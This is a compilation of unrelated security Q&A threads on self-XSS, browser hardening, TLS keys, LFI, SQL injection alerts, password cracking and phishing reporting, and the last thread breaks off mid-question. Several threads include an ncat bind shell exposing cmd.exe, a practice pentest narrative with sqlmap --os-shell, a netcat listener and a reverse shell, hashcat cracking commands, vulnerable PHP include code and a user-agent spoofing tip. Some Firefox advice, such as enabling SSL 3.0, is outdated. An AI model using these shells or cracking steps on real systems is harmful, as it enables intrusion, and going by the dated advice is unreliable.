How to prevent self-XSS? I am creating a website which solely uses REST api for all the features and  functionality, from signup and login to fetching data and populating the webpage using Mustache as template engine for objects.

Authentication is token based in which token dynamically added to header using JS functions to prevent CSRF attack. All the functions when interacting with user input data has sanitizers to prevent XSS attack. So basically every valid action has an associated JS function associated with it with XSS and CSRF protection enabled.

What if a user want's to bypass these functions and run his own functions from the console performing the same actions without XSS protections. One option is to implement server side XSS protection.

Now what if someone tries to trick users to paste some JS code in console which essentially has access to authentication tokens and can perform undesired requests which can harm the user. How to mitigate this attack or is there a way to prevent or identify such actions?

what if someone tries to trick users to paste some JS code in console

What if someone tricks users into installing malware on their computer?
What if someone dials a fake tech support number after encountering an issue with your website, and the scammers do something evil to the user's account on your website?
What if people on 4chan post about fast, wireless charging smartphones in a microwave, and people actually try it and destroy their phone?

I think this falls in the category "outside of your control", at least as far as technical measures go.

Injecting custom code into a developer's console is not something you can effectively protect against, unless it's within your own (or a client's) company and you can impose/recommend a company policy to disable the console in browsers for non-developers or something. And even then, it's probably more of a nuisance to legitimate users than truly useful.

What you can do is educate and inform people. It's not limited to self-XSS: if I ask you to paste some code into a text file and rename it to vbs, then you have the exact same issue. Running untrusted code is the problem here, not just the trendily-named self-XSS.


How to improve the security and privacy of Firefox What would be a sensible approach to enhance the security and privacy of Firefox?

I did not find a question about this and I feel that some guidelines for casual web users would be handy.

Currently my browser is wearing:

Adblock Plus to block pesky ads and social network buttons;
HTTPS Everywhere to rewrite HTTP requests as HTTPS when possible; and
Ghostery to block the widely used Google Analytics.

The first two have been in use for a long time. The latter was installed today and I'm still assessing how it fares since I've heard it breaks some web sites.

Feel free to post an answer for the most paranoid of us using VM inception and the likes. As for the rest of the world, what else would you add to the list and why? Please keep usability in mind.

There are several actions you can take in order to secure Firefox, how far you chose to go is of course up to you.

You can make some modifications in the Firefox preferences menu:

"General"

"when Firefox starts"->"Show a blank page"
"save files to:"Downloads"

"Content"

check:"Block pop-up windows"
uncheck:"Enable
JavaScript"
"Languages"->choose only:"en-us"

"Applications"->choose:"Always ask" for every application
"Privacy"

"Tracking"->check:"Tell websites I do not want to be
tracked"
"History"->"Firefox will:"Use custom settings for
history"
"History"->uncheck:"Always use private browsing
mode"
"History"->uncheck:"Remember my browsing and
download history"
"History"->uncheck:"Remember search and
form history"
"History"->uncheck:"Accept cookies from
sites"
"History"->uncheck:"Accept third-party cookies"
"History"->check:"Clear history when Firefox/Nightly
closes"
"History"->"settings":check all -> except:"Site
Preferences"
"location bar"->"When using the location bar,
suggest:"->choose:"Nothing"

"security"

check:"Warn me when sites try
to install add-ons"
check:"Block reported attack sites"
check:"Block reported web forgeries"
"Passwords"->uncheck:"Remember passwords for sites"
"Passwords"->uncheck:"Use a master password"

"advanced"

"General"->"System Defaults"->uncheck:"Submit crash
reports"
"General"->"System Defaults"->uncheck:"Submit
performance data"
"Update"->check:"Automatically install
updates"
"Update"->check:"Warn me if this will disable
any of my add-ons"
"Update"->check:"Automatically update
Search Engines"
"Encryption"->"Protocols"->check:"Use SSL
3.0"
"Encryption"->"Protocols"->check:"Use TLS 1.0"
"Encryption"->"Certificates"->"When a server requests my
personal certificate"->check:"Ask me every time"

Addons

Empty Cache Button [optional]

Calomel SSL Validation [cool little addon which does exactly what its name says and also has some more tweaks in the settings]

Adblock Edge

Easylist

EasyPrivacy

fanboy-adblock

Fanboy's Tracking List

Fanboy's Annoyance List

BetterPrivacy [LSO/Flash-Cookie-Protection]

Cookie Monster [Allows you to Manage your Cookie-Policies. For less baggage use Firefox/Iceweasel "Preferences" -> "Privacy"]

HTTPS-Everywhere [Download via EFF.org] [settings: enable SSL-Observatory but don't allow to transmit ISP-data]

HTTPS Finder

NoScript [go to "settings" and check "also apply on whitelisted sites"]

Perspectives [SSL-Cerfiticate-Control - go to settings: "notary servers" -> check "only contact when websites cause security error"]

RefControl [controls your HTTP-Referers - setting: "block" -> "3rd parties only"]

Request Policy [rejects cross-site requests]

WOT [Web of Trust - user based website ratings that show up in websearches. Caution: Not very accurate. Always double check when in doubt. This addon tends
to get abused by different groups of users who either give malicious sites good ratings - or flag perfectly good sites.]

PwdHash [Nice addon to help your password management. Use "F2" when entering a password into a password field when setting up a new account somewhere to create a MD5-hash using your password and the domain. (When logging in you have to select the password-field and press F2 again to run the hashing.) This way you can use the same password on different sites without having to worry about security implications - because every site gets its own password generated through the hash. The tool is provided by Standford University and can be trusted. No data is actually transmitted to their servers. The hash is generated using your local java-script. If you need to login from a machine that doesn't have pwdhash installed: go to https://www.pwdhash.com/ -> their SSL is very strong.]

FoxyProxy [a convenient Proxy Switcher]

Useragent Switcher [Does exactly that. But be careful: If you set your user-agent as shown below - using this addon it will overwrite these settings and will not automatically restore them if you turn off the switcher. So you would have to manually reconfigure about:config again. Which sucks. But you can get a whole load really cool user agents here. Simply download the .xml and import it to the Useragent Switcher. There are really neat current agents in there: e.g. all kinds of different web browser for all OSs and of course various bots. Google bot comes in handy when you need access to some forum... wink]

Web Developer [Has some cool features. If you like inspecting websites just check it out.]

Bloody Vikings [Creates disposable mail-addresses]

Note: You don't need Ghostery. The above mentioned Adblock lists do a much better job protecting you from web-tracking without using the additional resourced Ghostery uses.

Of course there are more addons you could use. But I don't really see the point of them. Most of them either are snake-oil or even dangerous.
To keep your ISP and possible MITM-attackers from reading what you do on the web always use SSL - as far as it is available. To help with this use:

SSL-Search Engines

The user "SSL Search Bar" has provided easily installable SSL-searchbar-plugins

You get SSL-plugins for all the alternative search-engines like ixquick, duckduckgo etc. there. Install those you happen to use.

Privatelee also looks promising. But I haven't tried it out extensively.

The next thing to do is to change macromedias flash-settings:

Flash-Settings

Go here.

And fight yourself through their nasty settings-manager. Set everything to "0" or "never allow"/"never ask again" and
delete all stored website-content. Give special attention to the webcam and Mic settings

You might as well set the permissions of your .macromedia folder to read only - but that's kind of unnecessary because you want to make sure to edit the options mentioned above - to make sure that you don't allow websites to use your mic or webcam I actually take this one step further by disabling them in BIOS.

You can also go one step further and run Firefox in a sandbox such as Sandboxie.

Just a general idea of the things you can do that will help secure your browser.


How can an embedded system support HTTPS and also keep an SSL key safe I read another question about an embedded https daemon, which got me wondering:

How might one maintain secrecy about the private key within such an embedded system?

My logic is: If the device ships with the key inside it, and someone can obtain [a version of] the physical device, they can get the data out of it (including the RSA private key.) Right?

Once they have the private key:

What stops them from sniffing your network traffic, and decrypting everything you send to the server?
What stops them from pretending to be the device (MITM attack)?

Yes, they can likely manage to extract your private key from the device. Even if you encrypt the key and don't keep the decryption key on the device (eg: you must enter a password to decrypt the key when you boot), there are techniques for extracting the key (eg: cold boot attacks). And, depending on the deployment scenario, you may not even be able to force a password to be entered on boot. In the end, there's no security without physical security.

In answer to your question:

  What stops them from sniffing your network traffic, and decrypting everything you send to the server?

The ability to sniff TLS traffic in the face of a disclosed private key can be prevented by using TLS ciphers that support perfect forward secrecy. In these ciphers, the private key is only used for authentication and not encryption.

  What stops them from pretending to be the device (MITM attack)?

Nothing (unless you have physical and virtual network infrastructure that ensures that an MiTM can't occur - this likely requires a secure network).


Generating multi-word passphrases from a wordlist As part of pentesting NT hashes where the underlying passwords are minimum 16 characters of length, I have created a wordlist of common words, sports teams, movies, names, years etc. - inspired by the approach in this paper https://nakedsecurity.sophos.com/2012/03/19/multi-word-passphrases/

Now I need to combine all the single words in the wordlist (the list as of now consists of approx 8k words)  to create passphrases that are minimum 16 characters of length. Do you have any tips on how to do that, or do you know of a script? Perhaps one that generates various combinations and discards all that are less than 16 characters?

Also are there any other aspects I should be aware of?

Thank you in advance!

You probably could use hashcat to combine the wordlists.
I think the mode was called the combinator_attack. However this will also generate passwords with less than 16 chars, but greatly works concurrently.

You could also print out the combined wordlist by hashcat and then write a script which deletes all passwords with less than 16 chars, but I'm not sure if you want to have the full wordlist even saved on your harddisk as it probably will be a very big file.


How to track down a rogue laptop connected to an un protected ethernet socket in a big organization? I would like to know ways of detecting rogue laptops connected to Ethernet sockets not properly secured in a big organization that has a plain network segment. I know that this can be prevented using some techniques like MAC filtering, but suppose that in this company they don't use any of these preventive security measures.

One possible solution I can think of is to use traceroute to identify the path and identify the last hop to the laptop. This can be used to identify the last router but...

Is it possible to use some layer-2 protocol or other techniques to identify where is a rogue laptop connected to an unprotected Ethernet socket in a big organization?

Any managed switch should be able to tell you which ports it has seen a given MAC address on. Identify the IP, ARP on that network, query switches on that segment for the given MAC address.

Prevention beats all, though: How can I restrict access to network data by an unauthorized computer that connects via Ethernet?


Copy-and-pasting plaintext data from encrypted container Suppose we have sensitive information stored in plaintext within a dm-crypt/VeraCrypt encrypted file and this information is copy-and-pasted by a user into a web browser after decrypting (this could for example be account recovery questions).

If the user is not using a clipboard manager, where (if at all) are the logs for his/her copy-and-paste data stored? In particular how are those cleared and what attacks/threats is such an approach to information management susceptible to?

I'm sorry if this is a rather trivial question.

EDIT: Does higlighting text and drag-and-dropping it into an online form pose the same kind of threat? - note that this doesn't reproduce the text upon trying to 'paste'.

The browser itself might store locally the information in what they call form suggestion for auto completion. For example type in your address when you buy something and google chrome will suggest to prefill that address from there on to any Ship To: form of every site. Some browsers play nice and will not store auto completion for forms marked with the password field however they will offer the option of storing your password locally ( and remote on the company's server if google chrome or safari). As for where you can find it, it's usually a small sqlite database file in either ~/.config or your User account folder ( if windows)


Is sharing you IP address dangerous? I was wondering, What is the most damage someone can do with your IP address and what attacks can be carried out?

Thanks!

If you have dynamic IP address (using DHCP, PPPoE) you are just fine. Your address gets changed in a interval of some hours or you share the IP address with tens of hundreds of pepole.

If you don't have open forwarded ports there is a small risk (if your ports/apps aren't properly configured) this by default is off.

So no worries. If they have the power, they could DDoS the ISP and slow your internet or cut it off. But what point would it serve?


How can I best manage root passwords for many servers? Lets say I have two racks with about 40 nix servers in them. I don't want to set all of the root user passwords all the same do I? If not how do you manage and keep up with all of the passwords?

Is an LDAP server a viable option to use with root logins?

Here are a few options, each with their own aspects of security and insecurity:

Use a tool like KeePass or LastPass (both are pretty good)
Use SSH keys exclusively (remove the root password completely and disable password auth)
Use a non-reversible password pattern, e.g.: SHA1(hostip+secret+some_iterator)

Of those options, I like the SSH keys one the most if you're in an environment where that makes sense. Because honestly, why have root passwords if you don't need to?

My Next favorite is keepass and lastpass. Random passwords are better than not-random passwords

The password-pattern option is categorically less secure than the other options, but certainly better than using passwords with a readily-discernable pattern.


If a local user types in a password during a LogMeIn session on the local computer, can the remote user have it? I assume this question without any keylogger help installed on the local computer. So is it possible that a remote user catch the password you have typed in on your local computer for a local soft ?

No, it's not possible for a remote user to sniff your password over a service like logmein. There are many reasons, the biggest of which being that you aren't connecting to each other directly. When you connect with someone over logmein you are going through a server which brokers the connections. If a remote user shares their desktop you could not record keystrokes, only see what is on the screen.

The only way you would ever be able to get their keystrokes is if they were acting on your system, as in you had given them control, and even then you'd need a keylogger utility of some sort.


difference between public key and host key and security of host key In SSH, what is the difference between host key and public key.

Public key I believe that is part of private/public key pair, so, that anything sent by server(encrypted using private) can be decrypted by client using public key and anything sent after encrypting with public key can only be decrypted by server's private key.

In SSH, server sends a Host key and client is supposed to know the Hash of host key before hand or cache it in a local store after client receives the key for the first time, which assures the authenticity of host.

My question is: Is my understanding of difference between the two is correct? If yes, then once, a machine gets a host key of a server upon connecting to it, can it not copy the host key and forge its identity as server whose host key it copied or there is some relation between private key and host key as it is between public and private key?

The host has a key pair, consisting of a public key and a private key. (It can have multiple key pairs in different formats; at the beginning of a connection, the client and the server negociate to determine a format that they both support.) There's a host public key and a host private key; there are also other key pairs (public and private keys) which are not host key pairs (in SSH, users also have key pairs, with the private key residing on the client).

At the beginning of a connection, the two parties establish a secure channel with a Diffie-Hellman key exchange, which lets them establish a shared secret key that eavesdroppers cannot find out. At this point, the client and the server have a secure channel (which cannot be tampered with by a man-in-the-middle without being detected), but they do not yet know who is on the other end of the channel.

Then the client sends a random value to the server, a challenge. The server replies by sending its public key as well as a signature of the challenge value. By computing the signature of the challenge value, the server demonstrates that it knows the private key corresponding to the public key that it just sent.
If the client has stored the host's public key in a file, it knows from that point on that the server is the same host that it communicated with before.

This mechanism, where everybody potentially knows the public key, one party sends a challenge and the other party responds to the challenge in a way that proves that it knows the private key (called a proof of possession), is a common use of public-key cryptography. It fully relies on the fact that public-key cryptography is asymmetric: knowing the public key doesn't give enough information to make computations involving the private key.


Is exposing website performance data a security risk? I am currently adding a subsite to some websites that allows me to monitor performance data live as the server software perceives it. The data is mostly stuff like amount of memory used, memory allocated, memory freed during last garbage collection, parallelity, uptime, etc. Error messages, logs, software version etc are not part of the data.

A part of my visitors is a bit geeky, so I thought it might be interesting for them if I exposed the subsite instead of hiding it behind an admin account.

What I am unsure about are the security implications. I have come up with two risks: the data might help do ddos attacks (information about timing and results is right there) and it might expose very rough ideas about visitor behaviour to "competitors".

But I have a feeling I am not creative enough (and not smart enough to find good google words). How have attackers used such information in the past?

So I have to admit that my first reaction was "I would never do this."  That, however, may be more because I, historically, don't like to let anybody know anything they don't need to, than for any real security reason.

So that said, the only security issues I can think of are fairly limited, and fairly esoteric.   It could be used to find a DoS or DDoS vector, if a) an attacker goes to the effort to profile your app, and b) happens to stumble upon the exact action required to stress your resources and c) it shows up definitively, or at least reasonably on your report.  That said, it's way easier just to buy some time on a botnet and throw some traffic at you, so the actual risk from the perf data itself is likely quite low.  The only exception would be if a quick look at the data shows that your site is either already under stress, or suffers under load easily.  If it advertised significant weaknesses to the world, then it's conceivable that someone might act maliciously on that information.

As to the threat from competitors, that's up to you to measure how much of a risk that really is.  Certianly lots of sites publish their traffic numbers, and for some it's quite critical to do so in order to attract advertisers, so unless you have specific reasons for wanting to keep the numbers under wraps, it may not be such a big deal.  Server perf is also not the only way, or even the best way to estimate traffic, other than perhaps general up/down trends.

So, while I'm not ready to sign off on this as a great idea, the actual security risk is probably on the low side.


is sending SQL query operators in HTTP GET requests is some kind of security issue? Our webserver is forwarding HTTP GET request to application server as below including a statement or condition like "AND 1=1", our Palo Alto Firewall detecting this traffic as SQL Injection alert.

PCAP is like below

  Hypertext Transfer Protocol
  GET /cadocs/0/j027931e.pdf?resultnum=9&intcmp=searchresultclick AND 1=1 HTTP/1.0\r\n
  [Expert Info (Chat/Sequence): GET /cadocs/0/j027931e.pdf
  resultnum=9&intcmp=searchresultclick AND 1=1 HTTP/1.0\r\n]

Can you please explain me is webserver sending this "AND 1=1" in requests is bad practice how it can help attackers? What kind of modifications can be done from webserver or application server side to resolve this?

Thank You for your efforts...

AND 1=1 is a common SQL Injection payload to select all results of an SQL query since it always evaluates to true.

It being sent along with the URL can be for numerous reasons, but it might be an indicator for an SQL Injection vulnerability if the URL parameter is directly fed into an SQL statement and is not properly sanitized beforehand.


Are LFI attacks possible (removing extension) in PHP 5.4.4+? Wondering if there was a possible attack vector still around for LFI attacks that remove the file extension. Obviously the null byte was fixed in previous PHP versions and no longer works, along with file truncation.

To clarify, is there a method of reading /etc/passwd with this code in PHP 5.4.4+ assuming worst case server side settings.

include( $_GET['page'] . '.php' );

I don't think this will allow someone to directly include /etc/passwd, but there's still a lot of trouble to be had from this.  An attacker might be able to:

Trigger a DoS by including the file itself.  (Since you're using include, not include_once, it'll recursively keep including the same file.)
Include arbitrary scripts on your system, such as copies of phpinfo, leaking sensitive information.
Include arbitrary code if they're able to upload files with user-defined extensions.

Please note that if you have allow_url_include=1 in your php.ini, you're opening up for a remote file inclusion vulnerability.

A better approach is whitelisting your pages, or at least using something like basename() or realpath() + dirname() to prevent directory traversal attacks.


Best practice for multi-factor re-authentication We just introduced multi-factor authentication (MFA) to access a remote business network. This has a re-authentication option: to prompt the user to re-enter the password and MFA code periodically. Like most topics in information security, the re-authentication interval has a tradeoff between security and convenience: a short amount (like 1 hour) has greater security but is inconvenient, while a longer amount (like 8 or 12 hours) is more convenient but has lower security.

Our workers need to access this network throughout the business day. What is a reasonable duration? 4, 6, 8, 12 hours? Something else? Thanks.

As best as I can tell, there is no standard or best practice for this. Based on the comments and a discussion with management, we set the re-authorization interval to 16 hours, meaning that it will prompt the users once per work day.


Password patterns and machine learning Trying to figure out the patterns of passwords.  I'm new to ML, but was inspired by PassGan, a ML tool that generates sample passwords.  The likelihood is low enough that it's not very useful for password cracking, but I'd like to take the technique and use it for password discovery.

My intention is to train a model to understand what a password is, then compare that against words found on services (Slack, File Shares, etc.) to detect instances of people being sloppy and leaving passwords where they shouldn't be.

My core assumptions are that passwords are far from random, and if analyzed appropriately many share a common pattern(s). This pattern could be used to identify and hopefully eradicate poor operational security practices.

Ideally, I'd like to choose something that evaluates words and provides a probability of that word being a password, then given the likely hood, I could have the application make some kind of a decision.

Is there an algorithm or model that works well for this kind of task? It's single dimensional data, I'd assume unsupervised learning is really the only approach.

This isn't a great answer, but right now I think it's probably the only one possible, because this is a remarkably challenging problem. I'll go over a little of why for the others playing along a home.

Humans generate passwords in a variety of idiosyncratic ways:

Some are so naive that there's no machine learning necessary ("password", "dragon", etc.)
Some of them are not straight single words, but very familiar to just about anyone who has had to pick a password that follows complexity requirements ("Spring2019!")
Others are difficult to parse until you understand the underlying method (keyboard walks like "qazwsxedc", initialisms from song lyrics, etc.)
Others are ambiguous (is "hearthandhome" derived from the base words "heart" and "hand", or "hearth" and "and"?)
And if a password is 100% randomly generated, there's no underlying 'algorithm' for a computer to figure out at all!

For human-generated password "algorithms" like the ones above, some are more difficult to emulate - starting from the same principles and generating similar passwords - than others. And going the other direction - taking an existing string and figuring out how the original creator of that password constructed it from its atomic components - is even more difficult. (This is probably why ML-based approaches seem so attractive.)

This is a hot area of research. Unsupervised learning may indeed be the only approach, but the tricky part is figuring out how to get decent training data at sufficient volume - if for no other reason that we can't usually ask the original password creator to explain their reasoning. (It's quite common to crack passwords by throwing the "kitchen sink" at a corpus of hashes, with a subset of the resulting passwords cracked even though we don't understand how the original password was created in the first place!)

Some breadcrumbs:

You're already familiar with the PassGAN effort
Matt Weir's PCFG Cracker (and its associated C-based rework) are probably some of the best places to start
Dmitri Fousekis' rurasort is a Python approach that might also be of interest.


Trying to tunnel a reverse shell out of an internal network I am practicing performing a pentest and getting stuck trying to get an interactive reverse shell from an internal machine to my attacker machine.

This is what I have done so far:

Me(attacker): 67.67.67.67 (some public ip)
Web app (victim): 68.68.68.68 (some public ip)
Internal Machine(web server): 10.1.1.80

Web Server info:

Centos
Apache
PHP
mysql

I found a SQL Injection vulnerability in the web application at 68.68.68.68 and using sqlmap with the --os-shell option I was able to get a Web shell through this application as the apache user. Then I executed the 'ifconfig' command which gave me an internal ip 10.1.1.80.

My goal is to get an interactive shell so I have been trying to use a reverse shell to tunnel out of the internal network to my public attacking machine. I believe the problem I am running into is the firewall.

This is what I know (using the web shell):

Can't view firewall rules
I can upload files through the web shell but I can't download or use HTTP/HTTPS directly from the internal machine through the web shell so http reverse shell would not work.
I also tried to run 'host google.com > /tmp/output.txt' through the web shell which gives no output leading me to believe DNS is not allowed either.
I have also tried my reverse shell listening on numerous popular ports which makes me think the firewall is doing deep packet inspection which is why it won't allow it to be tunneled over these ports.
The one thing that worked is I was able to ping my public attacker machine from the internal machine through the webshell which makes me think i could tunnel a reverse shell using ICMP. I found a tool called 'icmpsh' but unfortunately the client that runs on the victim machine is written in C for Windows only. I thought I would use 'wine' to do this on the internal linux box but can't install any programs from the internet and uploading wine through the webshell led to a lot of dependency errors. So my next plan was to write my own ICMP reverse shell in pure python but using SOCK_RAW requires sudo.

My question is do you think that ICMP is the way to tunnel a reverse shell out or is there a different protocol that I could be using or testing for? Maybe there is portable version of wine or equivalent I can upload?

PS: This is for practice so it is setup to be achievable

I have solved my issue.

TL;DR: TCP 53 was available to incoming/outgoing traffic

When checking which protocols were allowed through the firewall, I was checking DNS by using 'host google.com' and 'host -T google.com' and 'dig @8.8.8.8 google.com' and when I did not receive the expected response I assumed this meant DNS was not allowed. After coming back to the machine a couple days later I decided to setup 'nc -nvlp port#' on my attacking machine and try to connect from the victim machine using multiple ports and long behold it was able to connect via port 53. So from there I setup my payload, got my shell and then escalated privileges.

So the lesson I learn was do not rely on a results from a single tool or method. Try more than one method.

As a side thought, if anyone has some insight into why my 'dig' and 'host' commands did not work even though it would accept traffic on 53, that would be great. I guess it allowed traffic over 53 just not DNS specifically?

Thanks for the suggestions


Nikto authentication I am trying to complete a war game on Hell Bound Hackers.

I wish to use the nikto scanner to check some pages for vulnerabilities, however I first need to log into the Hell Bound Hackers war game, and then begin scanning Pen Test 1 challenge.

Here is the URL on the specific challenge:

  https://www.hellboundhackers.org/challenges/pentest/pentest1/index.php

The command I am trying to use is this, however the scanner keeps on getting redirected to the index page https://www.hellboundhackers.org which is frustrating as I wish to scan /challenge/pentest/pentest1/index.php. I believe this is because the authentication -id+ part is not working correctly?

nikto -ssl -id username:password -h https://www.hellboundhackers.org/challenges/pentest/pentest1/index.php?

I believe I need to login with my web browser, and then somehow copy the cookie to nikto?

I actually went ahead and checked out your challenge and noticed that it required the cookie fusion_user for loading up the challenge. This can be confirmed from the BurpSuite Screenshot I have posted below:

Hence when scanning using nikto we will have to send across this cookie along with the requests.

There are two ways that I know of to do this.

Method 1

Open the nikto.conf file in the location /etc/nikto.conf
Search for the text STATIC-COOKIE and add your cookie and its value like the image below.

Now that we have added the cookie you might want to proxy it through burpsuite to verify the traffic that nikto generates. To do so set the proxy in the nikto.conf file as depicted in the image below.

Try running nikto now using the below command

nikto --host https://www.hellboundhackers.org/challenges/pentest/pentest1/index.php -useproxy
[Possible Errors] In case you get the below error proceed to step 6

  ERROR: Proxy error: opening stream: can't connect: proxy connect failed: proxy connect to 127.0.0.1:8080 failed: Invalid argument at
  /var/lib/nikto/plugins/LW2.pm line 5157.

The above error could probably be caused by an SSL Error in Nikto itself. The temporary workaround would be to LW_SSL_ENGINE from auto to SSLeay as depicted in the image below.

Now that you have done all that is required try running the command

nikto --host https://www.hellboundhackers.org/challenges/pentest/pentest1/index.php -useproxy

once again and observe the traffic in BurpSuite, Nikto should now ideally be scanning the Application with your added cookie.

Method 2

The second method is for you to try around. You could set the user-agent in nikto, proxy it through burp and replace the user-agent with the cookie value using the Match and Replace feature of burp.

Do let me know if you find any issues while implementing the above fixes.


How can a domain be impersonated with a fraudulent SSL certificate? I was reading this article about the fraudulent certificates from Comodo back in 2011. It talks about domain impersonation.

I understand that a fake website could be secured with the fraudulent certificates but wouldn't the domain still be a fake one and a dead giveaway? Is this kind of attack related with DNS in any way?

Also, the author says "one cert was for "global trustee" — not a domain name. That was probably a malicious CA certificate that could be used to flawlessly impersonate any domain on the Web." What the hell is a global trustee?

There are multiple ways to exploit a compromised certificate.

If you have a compromised website certificate, you need to get people onto your server when they type the address of the compromised one. This can be done:

By getting control of a DNS server, there you can basically change the association of a website URL to your server IP address.
By performing a DNS cache poisoning attack
By performing a Man in the Middle attack (e.g. you own a router) between your target and the website, thus redirecting him to your own server

If you have compromised a root CA certificate, you can do even better. Since you have the "master" key you can forge false certificate in the name of whoever you want. Therefore you are able to impersonate any website. This is mostly valuable to someone who can fully control a DNS server (closed internet countries for example) as they can invisibly spy onto each and any internet connections made on any website, since they can forge certificate on the fly and perform man in the middle attacks.


Is it risky to download but not use a zip file? Is there any possibility of malware infection in Windows 10 for the following three situations:

When you download a zipped file, but do not use it (you do not open it)?
When you only open a zipped file (with 7-zip), but do not extract/run its content?
When you download a ".html" file, but do not open it?

There are different classes of attacks.

First we have what I would call direct attacks: the attacker expects its target to run its code. Common examples are rogue versions of legitimate software which behaves the same as their innocent counterpart but with additional (malware) code. If you do not execute the downloaded file, you will be safe regarding this kind of attacks. It is evident for you 2 first examples, less evident for the third because if you use a browser to dowload a html file, it will execute the contained javascript if any.

But you can also have what I would call side channel attacks. Here the attacker has found a flaw in a legitimate application, and has crafted special data that will cause the standard application to execute the malware code. Examples could include buffer overflow exploits but are not limited to them. Such attacks are generally harder to build and have a lower chance to succeed because for example an attack targetted at a version of Firefox will be uneffective if a user uses Chrome for example. But they must nevertheless be considered because they can be hidden in pure non executable data files like plain jpeg images.

In that case (and in theory because I know no example of these), the attacker could craft a special file to exploit a bug in a downloading application (risk is very low) or in a decompressing tool (risk slightly higher because the algorithms are more complexes).


new format of keepass (2) database file and hashcat I created test DB file (.kdbx) using KeePassX, after that used keepass2john Python port from this site, but changed line 88:

index += 2

to

index += 4

because the size of this field is 4 bytes instead of 2 (program will show wrong results without this change). It outputs test.hash:

$keepass$*2*0*253*e73cfb2502b6e543902ec7db45c751195c3dd8b8531b744537cbeebd8c641ecd**59ac17e7e0a201e1fae906371d65f6c6**8753d87e52c88988d168c9a4c75e76febecc74fd6ba40c7254d1c47f672d5bbf

After that, I used hashcat, v. 5.1.0 with:

hashcat -a 0 -m 13400 test.hash example.dict

In output i see an error:

Hashfile 'test.hash' on line 1 ($keepa...becc74fd6ba40c7254d1c47f672d5bbf):
Token length exception
No hashes loaded.

What's wrong? Keepass changed format of DB file and hashcat can't correctly crack it?

This question was cross-posted on the hashcat GitHub and answered here.
The relevant keepass2john comments say that only versions prior to KeePass 2.36 are supported for conversion.
Newer versions may use Argon2 or ChaCha20, but hashcat does not support these at this writing. See also related posts on the John the Ripper GitHub issue.


What are common/official methods of reporting spam/phishing/nasty-grams to organizations? A user of mine just received a phishing email claiming to be the IRS.  What methods of reporting are available, and what should be included?

Most often, these kinds of emails are sent from either compromised hosts, spammer accounts at free webmail providers, or dedicated spam-spewing networks (this is called snowshoe spam). In either case, the most appropriate parties should be, and should appreciate, being contacted since it represents a threat on their network. Reporting can be tricky, however, as it is not always obvious where the message came from. The first two things you can do are send an email with an RFC5322 attachment of the email, with full headers, to

spam@access.ironport.com
spam@knujon.net (which copies all reports to spam@uce.gov)
or paste the pristine raw email, again with full headers, to SpamCop

Variations of the above that additionally flag reported mail as phishing:

phish@access.ironport.com
phishing@knujon.net (which also copies phishing reports to APWG)

The first address is used by Cisco for receiving reports of missed spam in their IronPort anti-spam solutions. They monitor this mailbox and develop signatures for reported spam. So, eventually, the specific phish you received should be caught by their spam filters.

The second address is KnujOn ("No Junk" spelled backwards), a non-profit group that collects spammer domain data and follows the money trail in an effort to actually bust domain registrars that are too spammer-friendly.

The UCE address is used by the United States Federal Trade Commission to build out investigations and cases against spammers. Again, given the highly difficult nature of performing such investigations, one should not expect results from sending messages here. However, given the effort involved, and the fact that it might be useful in going after spammers/phishers, it seems a worthwhile action to me.

The most immediately useful action is to contact the folks responsible for the source of the spam. We can use this information to locate compromised computers or accounts, open mail relays, etc, and respond in kind. Determining exactly where to send this information may be tricksome. If your organization has an Information Security office, you can fall back to forwarding said email to them for processing. Otherwise, plow through the Received: headers to determine which mail server the message originated from; the most recent of them that is beyond your organization's control is the culprit.  (Do not assume the From: header is valid.)

From that IP address or domain you can look through the registrars to determine technical contacts, and forward the message to them. If you have a domain, then you can also attempt to use abuse@. That address was partially formalized in RFC2142, but is certainly in common use.

In all cases, you really need to forward the email with full headers intact. The specifics of how one does that will depend heavily on the specific mail client, but Forward As Attachment should work in almost all cases (except Microsoft Outlook for Windows).


Suspicious Push Notification on Android Phone When I woke up this morning, I saw a Push Notification on my phone from 'Facebook' saying something like 'Funny Video'. Accidentally clicked on it and it opened a tab in Chrome from with a URL of something like popads (although not entirely sure that was the link), at which point I immediately closed that tab.

Later today, I got another 'Facebook' push notification saying 'Hot summer, Cool Music!' (attached a couple screenshots of it). Besides for the overall sketchiness of the notification, I do not have Facebook on my phone, so it's clearly not legit.

I've had this phone for around 8 months, but this morning was the first time I got one of those notifications. I do not believe that I did anything particularly 'fishy' in the last day or so, and did not (at least knowingly) install anything on to my phone.

Is my phone compromised? What does that mean? What should I do to fix it (and other relevant questions...)?

For reference, my phone is a BLU R1 HD running Android 6.0.

I think this answer may be relevant: Find out which app is pushing ads in my notification bar?.

You need to determine where this notification is coming from.  One of the answers states:

  Beginning with 4.1 Jelly Bean, you can long-press the notification
  itself. This will bring up a menu with a single item, "App Info".
  Touch this item and you will go straight to the offending app's
  management page, where you're just a touch away from "Force stop" and
  "Uninstall".

So the solution may be, long press the notification to determine its source.  Then uninstall the offending application.  If you are unable to remove the application, it may be built-in subsidized ad-ware as the other answer suggests.


What is the full extent of information about my computer that a website can get? I need to know what all information a random website can get from my computer, and whether a website can tell which of my two computers on the same router I'm using.  I know websites can determine what operating system and browser I'm using and the IP address of my modem, but I'm wondering if there is any machine-specific information that a website could use to tell my desktop from my laptop the first time I visit a website (so no cookies have been downloaded yet).

If I use two different programs (e.g. a web browser and a bit torrent client) could someone tell that those two interactions were the same computer?

If I visit a website once from my desktop and once from my laptop, can the website tell the difference between those two computers?

Along with IP address, port number, and the data being torrented, what does a computer at the other end of a bit torrent connection receive from my computer?

There are a variety of ways your computer can be profiled from the browser.  The user agent presented by the browser gives some information.  Javascript can give you information such as time zone, screen resolution, languages, fonts, and browser addons. You can do similar things with flash.  These mechanisms are increasingly being used by advertisers to profile user and systems without using cookies (they are also to some extent used in some online anti-fraud systems).

The EFF have a good site and paper that profiles how unique your browser is and details their methodology.  https://panopticlick.eff.org/

I can't really answer the bittorrent question, as I have never investigated it.


Unable to establish shell with ncat over SSL I am attempting to get a shell open between a Linux and Windows machine.
On the Windows machine, I run:

ncat --exec cmd.exe -vnl 4444 --ssl

Once it is listening, I run the following command on my linux machine:

ncat -v x.x.x.x 4444 --ssl

After doing so, I receive this error message:

Ncat: Failed SSL connection from x.x.x.x: error:1408F10b:SSL routines:SSl3_GET_RECORD:wrong version number

Linux ncat version is at 7.60 and 5.59BETA1 on Windows. Are these incompatible or is my syntax incorrect?

Make sure that the Windows Firewall is allowing this connection.


How can I protect my credit card on sites where 2FA is not an option? I'm using Visa Express, and sometimes when I'm shopping, the store

doesn't support Verified by Visa - so that means that there is no 2FA option.

Normally when there is that option, it will force me to enter my phone number

